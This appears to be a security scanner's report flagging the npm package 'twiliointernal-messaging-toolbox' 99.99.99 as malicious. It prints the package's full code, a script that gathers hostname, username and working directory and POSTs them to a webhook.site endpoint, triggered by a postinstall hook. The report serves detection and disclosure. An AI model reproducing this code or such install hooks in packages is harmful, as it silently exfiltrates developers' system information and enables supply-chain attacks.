twiliointernal-messaging-toolbox 99.99.99
Exfiltrates system info to OOB
Sends a serialized Node host profile through an HTTP POSTJavaScript accesses hostname near an OOB endpoint and HTTP request
SHA-256ad1fbfff7a0d9fe11a5504a702d2d1f62f6232b3643044157bf06f1a2eac2bc4
Also flagged by osv (MAL-2026-10938: Malicious code in twiliointernal-messaging-toolbox (npm)) +2 more.
Evidence
1const https = require('https');
2const os = require('os');
3const data = JSON.stringify({
4 p: process.env.npm_package_name,
5 hn: os.hostname(),
6 un: os.userInfo().username,
7 cwd: process.cwd(),
8});
9const opts = {
10 hostname: 'webhook.site',
11 path: '/42ce0f0e-a0a0-41b5-b157-1c0f918e064f',
12 method: 'POST',
13 headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
14};
15const req = https.request(opts);
16req.on('error', () => {});
17req.write(data);
18req.end();
1{
2 "name": "twiliointernal-messaging-toolbox",
3 "version": "99.99.99",
4 "description": "",
5 "main": "index.js",
6 "scripts": {
7 "postinstall": "node index.js"
8 }
9}
No evidence locations were recorded for this file. Raw result